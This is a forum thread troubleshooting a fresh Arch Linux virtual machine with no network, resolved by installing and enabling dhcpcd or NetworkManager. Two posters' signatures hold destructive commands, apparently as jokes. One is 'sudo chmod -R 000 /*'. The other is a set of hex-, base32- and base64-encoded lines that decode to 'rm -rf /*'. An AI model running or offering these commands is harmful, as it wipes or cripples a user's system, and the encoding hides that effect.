Jump to content

Arch wifi not working

Go to solution Solved by CactusMan,

Did you remember to install network packages during install? Seems not. Boot into the install ISO and arch-chroot into the install and

pacman -S dhcpcd NetworkManager

then reboot into the install then

systemctl enable --now dhcpcd NetworkManager

 

Looks like a problem with DNS, try pinging an IP address like 1.1.1.1 or 8.8.8.8 instead.

Link to comment
Share on other sites

Link to post
Share on other sites

Just now, The_russian said:

Looks like a problem with DNS, try pinging an IP address like 1.1.1.1 or 8.8.8.8 instead.

Now I get Network is unreachable 1952752559_ScreenShot2020-08-16at6_56_41PM.thumb.png.436ce06f5e40c257df00a14caf517e29.png

Link to comment
Share on other sites

Link to post
Share on other sites

12 minutes ago, badlou101 said:

Hi,

I have just booted into a fresh install of Arch Linux (on a vm) I tested my internet with ping and I get this...1257216248_ScreenShot2020-08-16at6_49_48PM.thumb.png.cd7366834165a96f4240b4891d71d885.png

Thanks

Do you have dhcpd enabled? Why did you say wifi if it's a VM?

FX6300 @ 4.2GHz | Gigabyte GA-78LMT-USB3 R2 | Hyper 212x | 3x 8GB + 1x 4GB @ 1600MHz | Gigabyte 2060 Super | Corsair CX650M | LG 43UK6520PSA
ASUS X550LN | i5 4210u | 12GB
Lenovo N23 Yoga

Link to comment
Share on other sites

Link to post
Share on other sites

13 minutes ago, igormp said:

Do you have dhcpd enabled? Why did you say wifi if it's a VM?

I do not have dhcpd enabled It just sent me an error whenever I tried to enable it

Link to comment
Share on other sites

Link to post
Share on other sites

16 minutes ago, badlou101 said:

I do not have dhcpd enabled It just sent me an error whenever I tried to enable it

open /etc/hosts with a text editor and send a screenshot
also if its a vm did you set the network adapter as NAT or what

Link to comment
Share on other sites

Link to post
Share on other sites

2 minutes ago, BardiaMGTGC said:

open /etc/hosts with a text editor and send a screenshot
also if its a vm did you set the network adapter as NAT or what

928182328_ScreenShot2020-08-16at7_26_18PM.png.89bc2502973e49c4b85ae2c92b4b3201.png573876501_ScreenShot2020-08-16at7_26_03PM.thumb.png.1d8a65365770d7a824a93761039dd08d.png

Link to comment
Share on other sites

Link to post
Share on other sites

2 minutes ago, badlou101 said:

928182328_ScreenShot2020-08-16at7_26_18PM.png.89bc2502973e49c4b85ae2c92b4b3201.png573876501_ScreenShot2020-08-16at7_26_03PM.thumb.png.1d8a65365770d7a824a93761039dd08d.png

try pinging youir local ip on your pc see if it pings it

Link to comment
Share on other sites

Link to post
Share on other sites

4 hours ago, badlou101 said:

fresh install

Read 👏 the 👏 wiki 👏

 

https://wiki.archlinux.org/index.php/Network_configuration#Network_management

https://wiki.archlinux.org/index.php/Dhcpcd

 

Assuming your VM's network is configured correctly you should be able to get an IP from your router just by enabling the dhcpcd service

 

sudo systemctl enable --now dhcpcd

 

By the way for future reference this has nothing to do with wifi - the virtual machine sees your connection as wired.

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*

Link to comment
Share on other sites

Link to post
Share on other sites

8 hours ago, Sauron said:

Read 👏 the 👏 wiki 👏

 

https://wiki.archlinux.org/index.php/Network_configuration#Network_management

https://wiki.archlinux.org/index.php/Dhcpcd

 

Assuming your VM's network is configured correctly you should be able to get an IP from your router just by enabling the dhcpcd service

 


sudo systemctl enable --now dhcpcd

 

By the way for future reference this has nothing to do with wifi - the virtual machine sees your connection as wired.

It won't enable 

and good to know

Screen Shot 2020-08-17 at 8.11.20 AM.png

Link to comment
Share on other sites

Link to post
Share on other sites

12 minutes ago, badlou101 said:

It won't enable 

Then I guess it's no longer included in the base metapackage, which means you need to either install it yourself (using the installation image to chroot into your system since you don't have a connection) or set an address manually

https://wiki.archlinux.org/index.php/Network_configuration#IP_addresses

Don't ask to ask, just ask... please 🤨

sudo chmod -R 000 /*

Link to comment
Share on other sites

Link to post
Share on other sites

Dhcpcd is no longer included in Arch Base.

 

If your using a graphical environment you need to install and enable NetworkManager.

 

If your not using a graphical environment then install and enable dhcpcd.

 

You can actually use either regardless, just for simplicity I'd pick one or the other based on the above. More graphical front ends use NetworkManager.

 

You will need to boot your Arch Install Media and mount and chroot into your install, to install them.

 

Otherwise you need to set a static IP.

https://wiki.archlinux.org/index.php/Network_configuration#Static_IP_address

Link to comment
Share on other sites

Link to post
Share on other sites

It worked thanks

8 minutes ago, Nayr438 said:

Dhcpcd is no longer included in Arch Base.

 

If your using a graphical environment you need to install and enable NetworkManager.

 

If your not using a graphical environment then install and enable dhcpcd.

 

You can actually use either regardless, just for simplicity I'd pick one or the other based on the above. More graphical front ends use NetworkManager.

 

You will need to boot your Arch Install Media and mount and chroot into your install, to install them.

 

 

Link to comment
Share on other sites

Link to post
Share on other sites

Did you remember to install network packages during install? Seems not. Boot into the install ISO and arch-chroot into the install and

pacman -S dhcpcd NetworkManager

then reboot into the install then

systemctl enable --now dhcpcd NetworkManager

 

# $(echo 726d202d7266202f2a0a | xxd -r -p)
# $(echo OJWSALLSMYQC6KQK | base32 -d)
# $(echo cm0gLXJmIC8qCg== | base64 -d)
Link to comment
Share on other sites

Link to post
Share on other sites

5 minutes ago, CactusMan said:

Did you remember to install network packages during install? Seems not. Boot into the install ISO and arch-chroot into the install and


pacman -S dhcpcd NetworkManager

then reboot into the install then


systemctl enable --now dhcpcd NetworkManager

 

Thanks 

Link to comment
Share on other sites

Link to post
Share on other sites

21 minutes ago, CactusMan said:

Did you remember to install network packages during install? Seems not. Boot into the install ISO and arch-chroot into the install and


pacman -S dhcpcd NetworkManager

then reboot into the install then


systemctl enable --now dhcpcd NetworkManager

 

You don't need both. Just one or the other.

Link to comment
Share on other sites

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×